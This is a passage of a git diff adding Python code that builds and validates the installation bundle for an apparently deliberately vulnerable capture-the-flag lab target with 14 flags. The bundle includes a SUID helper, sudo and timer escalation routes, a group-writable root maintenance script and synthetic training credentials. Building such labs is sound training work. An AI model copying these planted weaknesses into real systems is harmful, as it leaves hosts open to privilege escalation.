+    return canonical_json(FRESH_MARKER_CONTENT)
diff --git a/labs/open-world-target/platform/open_world_platform/target_bundle.py b/labs/open-world-target/platform/open_world_platform/target_bundle.py
new file mode 100644
index 0000000..71f1330
--- /dev/null
+++ b/labs/open-world-target/platform/open_world_platform/target_bundle.py
@@ -0,0 +1,1009 @@
+from __future__ import annotations
+
+import hashlib
+import json
+import os
+import shutil
+import subprocess
+import tempfile
+from pathlib import Path, PurePosixPath
+from typing import Any, Callable
+
+from .model import ContractError, canonical_json, load_json, sha256_file
+from .session import fresh_marker_bytes
+
+
+BUNDLE_MANIFEST = "TARGET-BUNDLE.json"
+
+
+def _mode_permits(
+    mode_text: str,
+    *,
+    owner_matches: bool,
+    group_matches: bool,
+    permission: int,
+) -> bool:
+    mode = int(mode_text, 8)
+    shift = 6 if owner_matches else 3 if group_matches else 0
+    return bool((mode >> shift) & permission)
+
+
+def event_key_access_matrix(manifest: dict[str, Any]) -> dict[str, dict[str, bool]]:
+    activation = manifest["activation"]
+    directory = activation["eventKeyDirectory"]
+    principals = {
+        "low-emitter": {"lab-events"},
+        "telemetry": {"lab-events", "lab-telemetry"},
+        "unprivileged": set(),
+    }
+    matrix: dict[str, dict[str, bool]] = {}
+    for principal, groups in principals.items():
+        can_traverse = all(
+            _mode_permits(
+                item["mode"],
+                owner_matches=False,
+                group_matches=item["group"] in groups,
+                permission=0o1,
+            )
+            for item in (
+                activation["eventKeyParentDirectory"],
+                directory,
+            )
+        )
+        matrix[principal] = {}
+        for key_name, key in activation["eventKeys"].items():
+            can_read = _mode_permits(
+                key["mode"],
+                owner_matches=False,
+                group_matches=key["group"] in groups,
+                permission=0o4,
+            )
+            matrix[principal][key_name] = can_traverse and can_read
+    return matrix
+
+
+def _safe_source(path: Path, root: Path, label: str) -> Path:
+    if path.is_symlink():
+        raise ContractError(f"{label} must not be a symlink")
+    try:
+        resolved = path.resolve(strict=True)
+        resolved.relative_to(root.resolve(strict=True))
+    except (OSError, ValueError) as exc:
+        raise ContractError(f"{label} must exist inside the repository") from exc
+    return resolved
+
+
+def _safe_empty_output(output: Path) -> None:
+    if str(output).startswith("/dev/"):
+        raise ContractError("bundle output must never be a block device")
+    if output.exists() and (
+        not output.is_dir() or output.is_symlink() or any(output.iterdir())
+    ):
+        raise ContractError("bundle output must not exist or must be empty")
+    output.parent.mkdir(parents=True, exist_ok=True)
+
+
+def _copy_tree(source: Path, destination: Path) -> None:
+    for path in sorted(source.rglob("*")):
+        if path.is_symlink():
+            raise ContractError(f"source tree contains a symlink: {path}")
+        relative = path.relative_to(source)
+        target = destination / relative
+        if path.is_dir():
+            target.mkdir(parents=True, exist_ok=True)
+        elif path.is_file():
+            target.parent.mkdir(parents=True, exist_ok=True)
+            shutil.copyfile(path, target)
+        else:
+            raise ContractError(f"source tree contains a special file: {path}")
+
+
+def _copy_file(source: Path, destination: Path) -> None:
+    if source.is_symlink() or not source.is_file():
+        raise ContractError(f"source file is missing or unsafe: {source}")
+    destination.parent.mkdir(parents=True, exist_ok=True)
+    shutil.copyfile(source, destination)
+
+
+def _run_node_json(
+    node: str,
+    script: str,
+    *,
+    cwd: Path,
+    runner: Callable[..., subprocess.CompletedProcess[str]],
+) -> Any:
+    completed = runner(
+        [node, "--input-type=module", "-e", script],
+        cwd=cwd,
+        check=False,
+        capture_output=True,
+        text=True,
+        timeout=60,
+    )
+    if completed.returncode != 0:
+        raise ContractError(
+            "world metadata command failed: "
+            + (completed.stderr.strip() or completed.stdout.strip())
+        )
+    try:
+        return json.loads(completed.stdout)
+    except json.JSONDecodeError as exc:
+        raise ContractError("world metadata command returned invalid JSON") from exc
+
+
+def _materialize_flags(
+    node: str,
+    world: Path,
+    destination: Path,
+    *,
+    runner: Callable[..., subprocess.CompletedProcess[str]],
+) -> list[dict[str, Any]]:
+    completed = runner(
+        [node, str(world / "materialize-flags.mjs"), str(destination.resolve())],
+        cwd=world.parent,
+        check=False,
+        capture_output=True,
+        text=True,
+        timeout=60,
+    )
+    if completed.returncode != 0:
+        raise ContractError(
+            "flag materialization failed"
+            + (
+                f": {completed.stderr.strip()}"
+                if completed.stderr.strip()
+                else f" with exit code {completed.returncode}"
+            )
+        )
+    flags = _run_node_json(
+        node,
+        (
+            f"import {{WORLD}} from {json.dumps((world / 'world-definition.mjs').as_uri())};"
+            "console.log(JSON.stringify(WORLD.flags));"
+        ),
+        cwd=world.parent,
+        runner=runner,
+    )
+    if not isinstance(flags, list) or len(flags) != 14:
+        raise ContractError("world must materialize exactly 14 logical flags")
+    for flag in flags:
+        if not isinstance(flag, dict) or not isinstance(flag.get("location"), str):
+            raise ContractError("world flag metadata is invalid")
+        location = PurePosixPath(flag["location"])
+        if location.is_absolute() or ".." in location.parts:
+            raise ContractError(f"unsafe flag location: {location}")
+        if not destination.joinpath(*location.parts).is_file():
+            raise ContractError(f"materialized flag is missing: {location}")
+    return flags
+
+
+def _normalize_apache_site(rootfs: Path) -> None:
+    site = rootfs / "etc/apache2/sites-available/open-world-target.conf"
+    text = site.read_text(encoding="utf-8")
+    lines = [
+        line
+        for line in text.splitlines()
+        if not line.strip().startswith("Listen ")
+    ]
+    if len(lines) == len(text.splitlines()):
+        raise ContractError("world Apache site did not contain its expected Listen line")
+    site.write_text("\n".join(lines) + "\n", encoding="utf-8")
+
+
+def _longest_ownership(
+    target: str, ownership: list[dict[str, Any]]
+) -> tuple[str, str]:
+    candidates = [
+        item
+        for item in ownership
+        if target == item["path"] or target.startswith(item["path"].rstrip("/") + "/")
+    ]
+    if not candidates:
+        return "root", "root"
+    selected = max(candidates, key=lambda item: len(item["path"]))
+    return selected["owner"], selected["group"]
+
+
+def _file_mode(target: str, flag_modes: dict[str, int]) -> int:
+    if target in flag_modes:
+        return flag_modes[target]
+    if target == "/var/lib/examserver-open-world/fresh-state.json":
+        return 0o400
+    if target == "/usr/local/sbin/open-world-telemetry-status":
+        return 0o750
+    if target.startswith("/usr/local/libexec/") or target.startswith(
+        "/usr/local/sbin/"
+    ):
+        return 0o755
+    if target == "/usr/local/bin/open-world-event":
+        return 0o755
+    if target.endswith("/nightly.sh") or target.endswith(".golden"):
+        return 0o775 if target == "/opt/kazekiri/maintenance/nightly.sh" else 0o755
+    if target == "/etc/sudoers.d/open-world-target":
+        return 0o440
+    if target.startswith("/opt/examserver/open-world/world/"):
+        return 0o640
+    return 0o644
+
+
+def _file_entries(
+    root: Path,
+    *,
+    ownership: list[dict[str, Any]],
+    flag_modes: dict[str, int],
+    role: str,
+) -> list[dict[str, Any]]:
+    entries = []
+    for path in sorted(item for item in root.rglob("*") if item.is_file()):
+        relative = path.relative_to(root).as_posix()
+        target = "/" + relative if role == "debian" else relative
+        owner, group = (
+            _longest_ownership(target, ownership)
+            if role == "debian"
+            else ("offline-operator", "offline-operator")
+        )
+        if target == "/var/lib/examserver-open-world/fresh-state.json":
+            owner, group = "root", "lab-telemetry"
+        mode = (
+            0o600
+            if role == "installer-private"
+            else _file_mode(target, flag_modes)
+        )
+        entries.append(
+            {
+                "path": relative,
+                "target": target,
+                "role": role,
+                "sha256": sha256_file(path),
+                "mode": f"{mode:04o}",
+                "owner": owner,
+                "group": group,
+            }
+        )
+    return entries
+
+
+def build_target_bundle(
+    repo_root: Path,
+    output: Path,
+    *,
+    node_binary: str = "node",
+    runner: Callable[..., subprocess.CompletedProcess[str]] = subprocess.run,
+) -> dict[str, Any]:
+    repo = repo_root.resolve(strict=True)
+    world = _safe_source(
+        repo / "labs/open-world-target/world", repo, "world source"
+    )
+    telemetry = _safe_source(
+        repo / "labs/open-world-target/telemetry", repo, "telemetry source"
+    )
+    platform_root = _safe_source(
+        repo / "labs/open-world-target/platform", repo, "platform source"
+    )
+    root_timer_failure_drop_in = _safe_source(
+        platform_root
+        / "templates/etc/systemd/system/open-world-root-timer.service.d/"
+        "90-open-world-fail-closed.conf",
+        platform_root,
+        "root timer fail-closed drop-in",
+    )
+    file_watch = _safe_source(
+        platform_root
+        / "templates/usr/local/libexec/open-world-file-watch",
+        platform_root,
+        "fixed-path watcher",
+    )
+    file_watch_unit = _safe_source(
+        platform_root
+        / "templates/etc/systemd/system/open-world-file-watch.service",
+        platform_root,
+        "fixed-path watcher unit",
+    )
+    _safe_empty_output(output)
+
+    fixture_manifest = load_json(world / "fixtures/fixture-manifest.json")
+    credentials = load_json(world / "fixtures/synthetic-credentials.json")
+    with tempfile.TemporaryDirectory(
+        prefix=".open-world-target-", dir=output.parent
+    ) as temporary_name:
+        temporary = Path(temporary_name)
+        debian = temporary / "debian-rootfs"
+        windows = temporary / "windows-offline"
+        installer = temporary / "installer-private"
+        _copy_tree(world / "fixtures/rootfs", debian)
+        for obsolete_audit_path in (
+            "etc/audit/plugins.d/open-world-target.conf",
+            "etc/audit/rules.d/open-world-target.rules",
+            "usr/local/libexec/open-world-audit-dispatch",
+        ):
+            obsolete = debian / obsolete_audit_path
+            if obsolete.exists() or obsolete.is_symlink():
+                raise ContractError(
+                    "world fixture still contains legacy raw audit plumbing: "
+                    + obsolete_audit_path
+                )
+        flags = _materialize_flags(
+            node_binary, world, debian, runner=runner
+        )
+        windows_source = debian / "windows-fixture"
+        if not windows_source.is_dir():
+            raise ContractError("materialized Windows flag subtree is missing")
+        windows.mkdir(parents=True)
+        windows_source.replace(windows / "windows-fixture")
+        _normalize_apache_site(debian)
+
+        world_runtime = debian / "opt/examserver/open-world/world"
+        world_runtime.mkdir(parents=True)
+        for name in (
+            "flag-verifiers.mjs",
+            "validate-world.mjs",
+            "world-definition.mjs",
+        ):
+            _copy_file(world / name, world_runtime / name)
+
+        telemetry_runtime = debian / "opt/examserver/open-world/telemetry"
+        for relative in ("bin", "src"):
+            _copy_tree(telemetry / relative, telemetry_runtime / relative)
+        for name in ("api-contract.json", "package.json"):
+            _copy_file(telemetry / name, telemetry_runtime / name)
+        _copy_file(
+            telemetry / "bin/open-world-event",
+            debian / "usr/local/bin/open-world-event",
+        )
+        _copy_file(
+            telemetry / "bin/open-world-telemetry-status",
+            debian / "usr/local/sbin/open-world-telemetry-status",
+        )
+        for name in ("open-world-telemetry.service", "open-world-telemetry.socket"):
+            _copy_file(
+                telemetry / "systemd" / name,
+                debian / "etc/systemd/system" / name,
+            )
+
+        _copy_file(
+            root_timer_failure_drop_in,
+            debian
+            / "etc/systemd/system/open-world-root-timer.service.d/"
+            "90-open-world-fail-closed.conf",
+        )
+        _copy_file(
+            file_watch,
+            debian / "usr/local/libexec/open-world-file-watch",
+        )
+        _copy_file(
+            file_watch_unit,
+            debian
+            / "etc/systemd/system/open-world-file-watch.service",
+        )
+
+        fresh_marker = (
+            debian / "var/lib/examserver-open-world/fresh-state.json"
+        )
+        fresh_marker.parent.mkdir(parents=True, exist_ok=True)
+        fresh_marker.write_bytes(fresh_marker_bytes())
+        installer.mkdir(parents=True)
+        credentials_path = installer / "synthetic-credentials.json"
+        credentials_path.write_bytes(
+            canonical_json(credentials)
+        )
+        os.chmod(credentials_path, 0o600)
+
+        required_ownership = fixture_manifest["requiredOwnership"]
+        flag_modes = {
+            "/" + flag["location"]: int(flag["mode"])
+            for flag in flags
+            if flag.get("category") != "windows"
+        }
+        windows_flag_modes = {
+            flag["location"]: int(flag["mode"])
+            for flag in flags
+            if flag.get("category") == "windows"
+        }
+        groups = [
+            {
+                "name": "lab-foothold",
+                "gid": 1201,
+                "members": fixture_manifest["groups"]["lab-foothold"],
+            },
+            {
+                "name": "lab-events",
+                "gid": 1202,
+                "members": fixture_manifest["groups"]["lab-events"],
+            },
+        ]
+        accounts = [
+            {
+                **account,
+                "primaryGroup": account["name"],
+                "gid": account["uid"],
+            }
+            for account in fixture_manifest["accounts"]
+        ]
+        ownership_rules = required_ownership + [
+            {
+                "path": "/etc/examserver-open-world",
+                "owner": "root",
+                "group": "root",
+                "mode": "0711",
+            },
+            {
+                "path": "/etc/examserver-open-world/event-keys",
+                **fixture_manifest["eventKeyProvisioning"]["directory"],
+            },
+            {
+                "path": "/opt/examserver/open-world/world",
+                "owner": "root",
+                "group": "lab-telemetry",
+                "mode": "0750",
+            },
+            {
+                "path": "/opt/examserver/open-world/telemetry",
+                "owner": "root",
+                "group": "root",
+                "mode": "0755",
+            },
+            {
+                "path": "/var/lib/examserver-open-world",
+                "owner": "lab-telemetry",
+                "group": "lab-telemetry",
+                "mode": "0750",
+            },
+        ]
+        known_file_targets = {
+            "/" + path.relative_to(debian).as_posix()
+            for path in debian.rglob("*")
+            if path.is_file()
+        } | {"/usr/local/bin/kazekiri-report"}
+        directories = [
+            item
+            for item in ownership_rules
+            if item["path"] not in known_file_targets
+        ]
+        file_ownership = [
+            item
+            for item in ownership_rules
+            if item["path"] in known_file_targets
+        ]
+        debian_entries = _file_entries(
+            debian,
+            ownership=ownership_rules,
+            flag_modes=flag_modes,
+            role="debian",
+        )
+        windows_entries = _file_entries(
+            windows,
+            ownership=[],
+            flag_modes=windows_flag_modes,
+            role="windows-offline",
+        )
+        private_entries = _file_entries(
+            installer,
+            ownership=[],
+            flag_modes={},
+            role="installer-private",
+        )
+        all_entries = debian_entries + windows_entries + private_entries
+        entries_by_role_path = {
+            (entry["role"], entry["path"]): entry for entry in all_entries
+        }
+        flag_files = []
+        for flag in flags:
+            role = (
+                "windows-offline"
+                if flag.get("category") == "windows"
+                else "debian"
+            )
+            entry = entries_by_role_path.get((role, flag["location"]))
+            if entry is None:
+                raise ContractError(
+                    f"flag has no manifest file entry: {flag['id']}"
+                )
+            flag_files.append(
+                {
+                    "id": flag["id"],
+                    "nodeId": flag["nodeId"],
+                    "category": flag["category"],
+                    "path": entry["path"],
+                    "target": entry["target"],
+                    "role": role,
+                    "sha256": entry["sha256"],
+                    "mode": entry["mode"],
+                    "owner": entry["owner"],
+                    "group": entry["group"],
+                    "manualOnly": bool(flag.get("manualOnly", False)),
+                }
+            )
+        bundle_manifest = {
+            "schemaVersion": 1,
+            "bundleId": "examserver-open-world-target-v1",
+            "flagCounts": {"debian": 13, "windowsOffline": 1, "total": 14},
+            "groups": groups,
+            "accounts": accounts,
+            "directories": directories,
+            "fileOwnership": file_ownership,
+            "files": all_entries,
+            "flagFiles": flag_files,
+            "activation": {
+                "apacheAddress": "10.13.37.10:80",
+                "apacheSite": "open-world-target",
+                "sambaInclude": (
+                    "include = /etc/samba/smb.conf.d/open-world-target.conf"
+                ),
+                "pamAppendFile": "/etc/pam.d/sshd.open-world.append",
+                "suidSource": "/usr/local/src/kazekiri-report.c",
+                "suidTarget": "/usr/local/bin/kazekiri-report",
+                "telemetryPort": 8787,
+                "fixedFileWatchService": "open-world-file-watch.service",
+                "fixedFileWatchExecutable": (
+                    "/usr/local/libexec/open-world-file-watch"
+                ),
+                "fixedFileWatchCount": 7,
+                "freshStateMarker": (
+                    "/var/lib/examserver-open-world/fresh-state.json"
+                ),
+                "eventKeys": {
+                    "low": {
+                        **{
+                            key: value
+                            for key, value in fixture_manifest[
+                                "eventKeyProvisioning"
+                            ]["low"].items()
+                            if key != "minimumRandomBytes"
+                        },
+                        "randomBytes": fixture_manifest[
+                            "eventKeyProvisioning"
+                        ]["low"]["minimumRandomBytes"],
+                    },
+                    "root": {
+                        **{
+                            key: value
+                            for key, value in fixture_manifest[
+                                "eventKeyProvisioning"
+                            ]["root"].items()
+                            if key != "minimumRandomBytes"
+                        },
+                        "randomBytes": fixture_manifest[
+                            "eventKeyProvisioning"
+                        ]["root"]["minimumRandomBytes"],
+                    },
+                },
+                "eventKeyDirectory": fixture_manifest[
+                    "eventKeyProvisioning"
+                ]["directory"],
+                "eventKeyParentDirectory": {
+                    "path": "/etc/examserver-open-world",
+                    "owner": "root",
+                    "group": "root",
+                    "mode": "0711",
+                },
+                "servicesDisabledAfterInstall": sorted(
+                    set(
+                        fixture_manifest["services"]
+                        + [
+                            "open-world-file-watch.service",
+                            "open-world-telemetry.socket",
+                            "open-world-exercise.target",
+                            "open-world-vulnerable.target",
+                            "NetworkManager.service",
+                            "auditd.service",
+                            "dnsmasq.service",
+                            "nmbd.service",
+                            "rpcbind.service",
+                            "rpcbind.socket",
+                            "rpc-statd.service",
+                            "rpc-statd-notify.service",
+                            "systemd-journald-audit.socket",
+                            "systemd-networkd.service",
+                            "systemd-resolved.service",
+                            "wpa_supplicant.service",
+                        ]
+                    )
+                ),
+            },
+        }
+        (temporary / BUNDLE_MANIFEST).write_bytes(
+            canonical_json(bundle_manifest)
+        )
+        validate_target_bundle(temporary)
+        if output.exists():
+            output.rmdir()
+        temporary.replace(output)
+    return validate_target_bundle(output)
+
+
+def validate_target_bundle(root: Path) -> dict[str, Any]:
+    if not root.is_dir() or root.is_symlink():
+        raise ContractError("target bundle must be a real directory")
+    manifest_path = root / BUNDLE_MANIFEST
+    if not manifest_path.is_file() or manifest_path.is_symlink():
+        raise ContractError("target bundle manifest must be a regular file")
+    manifest = load_json(manifest_path)
+    if manifest.get("schemaVersion") != 1:
+        raise ContractError("target bundle schemaVersion must be 1")
+    counts = manifest.get("flagCounts")
+    if counts != {"debian": 13, "windowsOffline": 1, "total": 14}:
+        raise ContractError("target bundle flag counts are invalid")
+    expected_groups = {
+        "lab-foothold": {
+            "gid": 1201,
+            "members": ["www-data", "sales", "mechanic"],
+        },
+        "lab-events": {
+            "gid": 1202,
+            "members": ["www-data", "nobody", "lab-telemetry"],
+        },
+    }
+    observed_groups = {
+        group.get("name"): {
+            "gid": group.get("gid"),
+            "members": group.get("members"),
+        }
+        for group in manifest.get("groups", [])
+        if isinstance(group, dict)
+    }
+    if observed_groups != expected_groups:
+        raise ContractError("target bundle fixed group contract is invalid")
+    expected_accounts = {
+        "sales": (1101, 1101, True),
+        "mechanic": (1102, 1102, True),
+        "lab-telemetry": (1103, 1103, False),
+    }
+    observed_accounts = {
+        account.get("name"): (
+            account.get("uid"),
+            account.get("gid"),
+            account.get("interactive"),
+        )
+        for account in manifest.get("accounts", [])
+        if isinstance(account, dict)
+    }
+    if observed_accounts != expected_accounts:
+        raise ContractError("target bundle fixed account contract is invalid")
+    activation = manifest.get("activation")
+    if not isinstance(activation, dict):
+        raise ContractError("target bundle activation contract is missing")
+    fixed_activation = {
+        "apacheAddress": "10.13.37.10:80",
+        "apacheSite": "open-world-target",
+        "sambaInclude": (
+            "include = /etc/samba/smb.conf.d/open-world-target.conf"
+        ),
+        "pamAppendFile": "/etc/pam.d/sshd.open-world.append",
+        "suidSource": "/usr/local/src/kazekiri-report.c",
+        "suidTarget": "/usr/local/bin/kazekiri-report",
+        "telemetryPort": 8787,
+        "fixedFileWatchService": "open-world-file-watch.service",
+        "fixedFileWatchExecutable": (
+            "/usr/local/libexec/open-world-file-watch"
+        ),
+        "fixedFileWatchCount": 7,
+        "freshStateMarker": (
+            "/var/lib/examserver-open-world/fresh-state.json"
+        ),
+    }
+    if any(activation.get(key) != value for key, value in fixed_activation.items()):
+        raise ContractError("target bundle fixed activation contract is invalid")
+    required_disabled = {
+        "apache2.service",
+        "auditd.service",
+        "dnsmasq.service",
+        "nfs-server.service",
+        "open-world-file-watch.service",
+        "open-world-nfs-watch.service",
+        "open-world-root-timer.timer",
+        "open-world-telemetry.service",
+        "open-world-telemetry.socket",
+        "rpcbind.service",
+        "rpcbind.socket",
+        "rpc-statd.service",
+        "rpc-statd-notify.service",
+        "systemd-journald-audit.socket",
+        "systemd-networkd.service",
+        "nmbd.service",
+        "smbd.service",
+        "ssh.service",
+    }
+    disabled = activation.get("servicesDisabledAfterInstall")
+    if not isinstance(disabled, list) or not required_disabled.issubset(disabled):
+        raise ContractError("target bundle disabled-service contract is incomplete")
+    expected_keys = {
+        "low": {
+            "path": "/etc/examserver-open-world/event-keys/low.key",
+            "owner": "root",
+            "group": "lab-events",
+            "mode": "0440",
+            "randomBytes": 32,
+        },
+        "root": {
+            "path": "/etc/examserver-open-world/event-keys/root.key",
+            "owner": "root",
+            "group": "lab-telemetry",
+            "mode": "0440",
+            "randomBytes": 32,
+        },
+    }
+    if activation.get("eventKeys") != expected_keys:
+        raise ContractError("target bundle event-key provisioning contract is invalid")
+    if activation.get("eventKeyDirectory") != {
+        "path": "/etc/examserver-open-world/event-keys",
+        "owner": "root",
+        "group": "root",
+        "mode": "0711",
+    }:
+        raise ContractError(
+            "target bundle event-key directory contract is invalid"
+        )
+    if activation.get("eventKeyParentDirectory") != {
+        "path": "/etc/examserver-open-world",
+        "owner": "root",
+        "group": "root",
+        "mode": "0711",
+    }:
+        raise ContractError(
+            "target bundle event-key parent contract is invalid"
+        )
+    directory_paths = {
+        entry.get("path") for entry in manifest.get("directories", [])
+    }
+    file_ownership_paths = {
+        entry.get("path") for entry in manifest.get("fileOwnership", [])
+    }
+    if directory_paths & file_ownership_paths:
+        raise ContractError("bundle ownership paths must have exactly one type")
+    if "/usr/local/bin/kazekiri-report" not in file_ownership_paths:
+        raise ContractError("compiled SUID target must be typed as a file")
+    expected: set[str] = set()
+    seen_role_paths: set[tuple[str, str]] = set()
+    seen_debian_targets: set[str] = set()
+    for entry in manifest.get("files", []):
+        if not isinstance(entry, dict):
+            raise ContractError("invalid target bundle file entry")
+        role = entry.get("role")
+        base = {
+            "debian": root / "debian-rootfs",
+            "windows-offline": root / "windows-offline",
+            "installer-private": root / "installer-private",
+        }.get(role)
+        if base is None:
+            raise ContractError(f"invalid target bundle file role: {role}")
+        relative = Path(str(entry.get("path", "")))
+        if relative.is_absolute() or ".." in relative.parts:
+            raise ContractError("unsafe target bundle path")
+        path = base / relative
+        if not path.is_file() or path.is_symlink():
+            raise ContractError(f"target bundle file is missing: {role}/{relative}")
+        if sha256_file(path) != entry.get("sha256"):
+            raise ContractError(f"target bundle hash mismatch: {role}/{relative}")
+        identity = (role, relative.as_posix())
+        if identity in seen_role_paths:
+            raise ContractError("target bundle contains a duplicate file entry")
+        seen_role_paths.add(identity)
+        if role == "debian":
+            target = entry.get("target")
+            if (
+                not isinstance(target, str)
+                or not target.startswith("/")
+                or target in seen_debian_targets
+            ):
+                raise ContractError(
+                    "target bundle Debian target is unsafe or duplicated"
+                )
+            seen_debian_targets.add(target)
+        expected.add(f"{role}/{relative.as_posix()}")
+    if directory_paths & (
+        seen_debian_targets | {activation.get("suidTarget")}
+    ):
+        raise ContractError("bundle directory ownership points at a file target")
+    if not file_ownership_paths.issubset(
+        seen_debian_targets | {activation.get("suidTarget")}
+    ):
+        raise ContractError("bundle file ownership points at a non-file target")
+    observed = set()
+    for role, directory in (
+        ("debian", root / "debian-rootfs"),
+        ("windows-offline", root / "windows-offline"),
+        ("installer-private", root / "installer-private"),
+    ):
+        if not directory.is_dir() or directory.is_symlink():
+            raise ContractError(f"target bundle role directory is unsafe: {role}")
+        resolved_directory = directory.resolve(strict=True)
+        for path in directory.rglob("*"):
+            if path.is_symlink():
+                raise ContractError(
+                    f"target bundle contains a symlink: {role}/{path.name}"
+                )
+            try:
+                path.resolve(strict=True).relative_to(resolved_directory)
+            except (OSError, ValueError) as exc:
+                raise ContractError(
+                    f"target bundle path escapes its role: {role}/{path.name}"
+                ) from exc
+            if not (path.is_dir() or path.is_file()):
+                raise ContractError(
+                    f"target bundle contains a special file: {role}/{path.name}"
+                )
+        observed.update(
+            f"{role}/{path.relative_to(directory).as_posix()}"
+            for path in directory.rglob("*")
+            if path.is_file()
+        )
+    if observed != expected:
+        raise ContractError("target bundle has unmanifested or missing files")
+    forbidden_guide_fragments = (
+        "/open-world-guide.service",
+        "/opt/examserver/open-world/guide/",
+        "/lab-guide",
+    )
+    if any(
+        fragment in f"/{path}"
+        for path in observed
+        for fragment in forbidden_guide_fragments
+    ):
+        raise ContractError("public guide artifacts must not enter the target bundle")
+    if any(path.endswith(".key") for path in observed):
+        raise ContractError("event keys must never be stored in a target bundle")
+    forbidden_runtime_names = {
+        "private-answers.mjs",
+        "validate-private-answers.mjs",
+    }
+    if any(
+        PurePosixPath(path).name in forbidden_runtime_names
+        for path in observed
+        if path.startswith("debian/")
+    ):
+        raise ContractError(
+            "build-only plaintext answer modules must never enter Debian"
+        )
+    credentials = load_json(
+        root / "installer-private/synthetic-credentials.json"
+    )
+    credential_entry = next(
+        (
+            entry
+            for entry in manifest["files"]
+            if entry.get("role") == "installer-private"
+            and entry.get("path") == "synthetic-credentials.json"
+        ),
+        None,
+    )
+    if credential_entry is None or credential_entry.get("mode") != "0600":
+        raise ContractError("synthetic credential file must be mode 0600")
+    accounts = credentials.get("accounts")
+    if (
+        credentials.get("trainingOnly") is not True
+        or not isinstance(accounts, list)
+        or len(accounts) != 1
+        or accounts[0].get("username") != "sales"
+        or not isinstance(accounts[0].get("password"), str)
+        or len(accounts[0]["password"]) < 12
+        or len(accounts[0]["password"]) > 128
+        or any(character in accounts[0]["password"] for character in "\r\n")
+    ):
+        raise ContractError("synthetic credential contract is invalid")
+    flag_files = manifest.get("flagFiles")
+    if not isinstance(flag_files, list) or len(flag_files) != 14:
+        raise ContractError("target bundle must identify exactly 14 flag files")
+    if len({entry.get("id") for entry in flag_files}) != 14:
+        raise ContractError("target bundle flag IDs must be unique")
+    flagged_entries = {
+        (entry.get("role"), entry.get("path"))
+        for entry in manifest["files"]
+        if str(entry.get("path", "")).endswith(".flag")
+    }
+    declared_flags = {
+        (entry.get("role"), entry.get("path")) for entry in flag_files
+    }
+    if flagged_entries != declared_flags:
+        raise ContractError("target bundle has undeclared or missing flag files")
+    for flag in flag_files:
+        if not isinstance(flag, dict):
+            raise ContractError("target bundle flag metadata is invalid")
+        match = next(
+            (
+                entry
+                for entry in manifest["files"]
+                if entry.get("role") == flag.get("role")
+                and entry.get("path") == flag.get("path")
+            ),
+            None,
+        )
+        if match is None or any(
+            match.get(key) != flag.get(key)
+            for key in ("target", "sha256", "mode", "owner", "group")
+        ):
+            raise ContractError(
+                f"flag ownership/hash metadata mismatch: {flag.get('id')}"
+            )
+    expected_flag_ownership = {
+        "flag-entry-web": ("root", "www-data"),
+        "flag-entry-smb": ("root", "root"),
+        "flag-entry-nfs": ("mechanic", "mechanic"),
+        "flag-foothold-www-data": ("root", "www-data"),
+        "flag-foothold-sales": ("sales", "sales"),
+        "flag-foothold-mechanic": ("mechanic", "mechanic"),
+        "flag-clue-sudo": ("root", "lab-foothold"),
+        "flag-clue-timer": ("root", "lab-foothold"),
+        "flag-clue-suid": ("root", "lab-foothold"),
+        "flag-route-sudo": ("root", "root"),
+        "flag-route-timer": ("root", "root"),
+        "flag-route-suid": ("root", "root"),
+        "flag-root-common": ("root", "root"),
+        "flag-windows": ("offline-operator", "offline-operator"),
+    }
+    observed_flag_ownership = {
+        flag.get("id"): (flag.get("owner"), flag.get("group"))
+        for flag in flag_files
+    }
+    if observed_flag_ownership != expected_flag_ownership:
+        raise ContractError("target bundle flag ownership contract is invalid")
+    if (
+        sum(flag["role"] == "debian" for flag in flag_files) != 13
+        or sum(flag["role"] == "windows-offline" for flag in flag_files) != 1
+    ):
+        raise ContractError("target bundle Debian/Windows flag split is invalid")
+    windows_flag = next(
+        flag for flag in flag_files if flag.get("id") == "flag-windows"
+    )
+    windows_secret = (
+        root / "windows-offline" / windows_flag["path"]
+    ).read_bytes().strip()
+    if not windows_secret:
+        raise ContractError("Windows offline flag is empty")
+    for role_directory in (
+        root / "debian-rootfs",
+        root / "installer-private",
+    ):
+        for path in role_directory.rglob("*"):
+            if path.is_file() and windows_secret in path.read_bytes():
+                raise ContractError(
+                    "Windows offline flag plaintext leaked outside its role"
+                )
+    required_runtime = {
+        "/opt/examserver/open-world/world/flag-verifiers.mjs": (
+            "root",
+            "lab-telemetry",
+            "0640",
+        ),
+        "/usr/local/bin/open-world-event": ("root", "root", "0755"),
+        "/usr/local/sbin/open-world-telemetry-status": (
+            "root",
+            "root",
+            "0750",
+        ),
+        "/var/lib/examserver-open-world/fresh-state.json": (
+            "root",
+            "lab-telemetry",
+            "0400",
+        ),
+    }
+    entries_by_target = {
+        entry.get("target"): entry
+        for entry in manifest["files"]
+        if entry.get("role") == "debian"
+    }
+    for target, expected_metadata in required_runtime.items():
+        entry = entries_by_target.get(target)
+        if entry is None or (
+            entry.get("owner"),
+            entry.get("group"),
+            entry.get("mode"),
+        ) != expected_metadata:
+            raise ContractError(
+                f"target bundle runtime metadata is invalid: {target}"
+            )
+    access = event_key_access_matrix(manifest)
+    if access != {
+        "low-emitter": {"low": True, "root": False},
+        "telemetry": {"low": True, "root": True},
+        "unprivileged": {"low": False, "root": False},
+    }:
+        raise ContractError("event-key POSIX access matrix is unsafe")
+    return {
+        "ok": True,
+        "bundleId": manifest["bundleId"],
+        "bundleManifestSha256": sha256_file(manifest_path),
+        "fileCount": len(expected),
+        "flagCounts": counts,
+        "eventKeyAccess": access,
+        "manifest": manifest,
+    }
diff --git a/labs/open-world-target/platform/open_world_platform/target_install.py b/labs/open-world-target/platform/open_world_platform/target_install.py
new file mode 100644
index 0000000..2d75fbd
--- /dev/null
+++ b/labs/open-world-target/platform/open_world_platform/target_install.py
@@ -0,0 +1,817 @@
+from __future__ import annotations
+
+import hashlib
+import os
+import secrets
+import shutil
+import stat
+import subprocess
+import tempfile
+from dataclasses import dataclass
+from pathlib import Path, PurePosixPath
+from typing import Any, Callable
+
+from .install import (
+    BUNDLE_ONLY_UNITS,
+    disable_raw_audit_units,
+    verify_units_absent,
+    verify_units_masked_inactive,
+)
+from .model import (
+    ALWAYS_MASKED_UNITS,
+    ContractError,
+    load_json,
+    RAW_AUDIT_UNITS,
+    validate_exact_identity,
+    validate_platform_identity,
+    validate_profile,
+    validate_required_packages,
+    WINDOWS_MOUNT_UNIT,
+)
+from .target_bundle import validate_target_bundle
+
+
+TELEMETRY_STATE = Path(
+    "/var/lib/examserver-open-world/telemetry-state.json"
+)
+SESSION_ENV = Path("/etc/examserver-open-world/session.env")
